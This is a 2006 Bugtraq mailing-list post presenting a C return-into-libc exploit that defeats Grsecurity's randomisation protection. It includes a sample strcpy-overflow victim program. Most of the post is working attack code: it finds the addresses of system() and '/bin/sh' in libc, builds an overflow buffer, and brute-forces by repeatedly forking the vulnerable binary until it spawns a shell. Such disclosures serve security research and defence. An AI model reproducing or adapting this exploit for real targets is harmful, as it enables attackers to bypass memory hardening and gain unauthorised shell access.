Date: 17 Apr 2006 21:52:28 -0000
From: adam@...khat.org
To: bugtraq@...urityfocus.com
Subject: [SA-03] Example of Grsecurity protection avoid.


I'm proud to introduce an example of return into libc exploit which works though grsecurity patch protection.

Please read source carefully and change some lines cause default version probably wont work on your machine.

-> This is example, remember it. ;)

/*
 * Grsecurity bypass tryout - system("/bin/sh"); return into libc technique.
 * Read source cause this is only an example. 
 * ---
 *  
 * The simplest vulnerable program which was used to tests:
 * 
 * int main(int argc, char *argv[])
 * {
 *         char data[5];
 *
 *         if(argc>1)
 *         	strcpy(data,argv[1]);
 *         return 0;
 * }
 *
 * Successfully tested under,
 * - Linux Kernel |2.4.31| with Grsecurity patch |2.6.1|
 * - GCC 3.3.6
 * - LIBC 2.3.5-stable
 *
 * Attack time depends on your computer speed.
 * 
 *
 * Nikomu nie dziekuj, nikomu nie ufaj, licz tylko na siebie.
 * ---
 * Adam Simuntis <adam@...khat.org>
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <linux/utsname.h>
#include <dlfcn.h>

//It is not constant value! Calculate for your system.
//If you dont know how, just leave.
#define offset 0x4000


//Space needed for overflow with system() and /bin/sh address.
#define ADDRESS_SPACE 16
#define PATH "./vuln"
#define SIZE 28
#define LIBC_TESTED "2.3.5"

#define GRSEC

char* get_sysname(void) 
{
	        char *uts;
		uts = malloc(sizeof(struct utsname));
		
		uname((struct utsname*)uts);
		return uts;
}

int main()
{
	register int  pid;

	int status,
	    size = 0,
	    s = 0,
	    i = 0;
	
	unsigned long sh, 
		      shell,
		      ss=0,
		      addr=0,
		      sys_addr=0;

	struct new_utsname *uts;

	char *buffer,
	     *libc_ver,
	     *libc_rel,
	     *path = PATH;
	
	void *libc;
	void (*system)();

	libc_ver = (char*)gnu_get_libc_version();
	libc_rel = (char*)gnu_get_libc_release();
	
	if(libc=dlopen("/lib/libc.so.6",RTLD_LAZY))
	{
		system = dlsym(libc,"system");
		ss = (int)system;
		addr = (int)system - offset;
	}
	
	uts = (struct new_utsname*)get_sysname();				
	size = SIZE;

	printf("# Return into libc exploit by Adam Simuntis <adam@...khat.org> |an example|\n"
	       "# Gathering info..\n");
	
	s=size+ADDRESS_SPACE;
	buffer = malloc(s);
	sh = addr;
	while(memcmp((void*)sh,"/bin/sh",8))
		sh++;

	shell = sh - offset;
	sys_addr = ss - offset;

	printf("\tLIBC: %s-%s\n",libc_ver,libc_rel);
	
	printf("\t- got sysname: %s %s\n"
			"\t- got system() addr: 0x%x\n"
			"\t- got /bin/sh addr: 0x%x\n"
			"\t~ system() - offset @: 0x%x\n"
			"\t~ /bin/sh - offset @: 0x%x\n",uts->sysname,uts->release,(int)ss,(int)sh,(int)sys_addr,(int)shell);


	if(strcmp(libc_ver,LIBC_TESTED))
		printf("# Warning: Libc version %s was not tested. Program may not work correctly.\n",libc_ver);
	
	printf("# Press enter to proceed attack or ctrl+c to cancel.");
	getchar();

#ifdef GRSEC
	printf("# Bypassing grsecurity protection\n\t~ wait for shell\n");
#endif
	
	for(i = 0; i < s; i++)
		buffer[i]='\x6e'; 
		
	*(long *)&buffer[s-16] = addr;
	*(long *)&buffer[s-12] = addr;
	*(long *)&buffer[s-4] = shell;

//Waiting for address repeat 
#ifdef GRSEC	
	while(1)
	{
		pid = fork();
		if(pid == 0)
		{
			execl(path,path,buffer,0x00);
		}
		if(pid>0)
		{
			waitpid(pid,&status,WUNTRACED);
			if(status == 0)
				break;
		}
		if(pid<0)
		{
			printf("# Exploit failed. (resources)\n");
			exit(1);
		}
	}
#else
	execl(path,path,buffer,0x00);
#endif
	free(buffer);
	return 0;
}

Here is prove of successful attack:
http://satfilm.pl/~n30n/grsec.png 

Powered by blists - more mailing lists